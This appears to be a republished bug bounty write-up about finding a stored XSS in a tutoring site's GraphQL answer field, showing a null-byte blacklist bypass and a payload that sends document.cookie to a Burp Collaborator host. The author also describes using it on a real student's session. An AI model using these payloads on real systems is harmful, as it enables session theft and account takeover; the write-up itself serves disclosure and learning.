Pwning your assignments: Stored XSS via GraphQL endpoint
2021-04-18 23:12:56 Author: infosecwriteups.com(查看原文) 阅读量:181 收藏

Kartik Sharma

The bug was found on a highly mature bug bounty program, that was running for over 4–5 years as a public/private program across various crowd-sourced platforms. Due to the fact, the program is discontinued and the bug was reported 5 months ago, I decided to share this bug with the community:)
So let’s begin!

At the time I started looking into the program, it had 700+ bugs reported and therefore due to the maturity of the program had bonuses applied to it. I spent 2–3 days looking at the target and found nothing. After a week or so, I had a discussion with a random college friend and he told me about earning money through a platform by helping young students. Surprisingly, it was the same company I was after. The tutoring feature he talked about was not directly accessible.

Looking into that specific functionality I found the following:

  • It required an account registration.
  • Pass a test on the subject I look forward to helping students with.
  • Submit a govt. ID proof.
  • Wait 2 weeks for the verification.

I thought it was quite hard to access this functionality. Therefore, a lot of people would have probably not reached so deep into the application. I applied for Computer Science tutoring, passed the test, and now I had the option to help students with their homework!

The bug types I decided to check here were: CSRF, IDOR and XSS. CSRF failed pretty quickly due to a large number of checks present on each and every request. Further IDOR wasn’t looking practical to me with UUIDv4’s being used properly.

While answering the doubts, I found that “,> were allowed, however keywords like script, iframe, alert etc were sanitized from the answer. Going through the Web Hacker’s Handbook, I found that adding a %00 (null byte) before “>” did not sanitize the keyword. Therefore I created the following payload:

<iframe %00 src=\"javascript:prompt(1)\"%00>
  • %00 to bypass the blacklist
  • \” to pass double quotes inside a GraphQL input field

The above payload was reflected as follows:

Reflection in the source code

And I got the prompt with cookies!

XSS prompt!

I quickly reported the bug, but the triager considered it as a self-stored XSS and asked me to demonstrate impact.

Attack Scenario/ Final Exploit
A student asks a doubt, the instructor submits the answer with a blind XSS payload. As soon as the student checks the answer, his cookies are passed on to the instructor. Therefore every time the instructor helps a student, he/she can take over the student’s account!

Payload:

<iframe %00 src= javascript:fetch(\"//XXXXXXXXXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net/?param=\"+document.cookie)  %00>
  • fetch() allows to make network requests similar to XMLHttpRequest (XHR)
  • /?param= added to avoid making it part of the domain

I quickly answered a student’s question and added the above payload at the end of the solution. Within 5 minutes, the student checked the answer and voila, I had the student’s cookies!

student cookies fetched

After making changes to the previous report, it was finally accepted as a valid finding.

The reward:)

Stay curious and always look deep into the application. The functionalities that are harder to access are often missed by other hackers.


文章来源: https://infosecwriteups.com/pwning-your-assignments-stored-xss-via-graphql-endpoint-6dd36c8a19d5?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh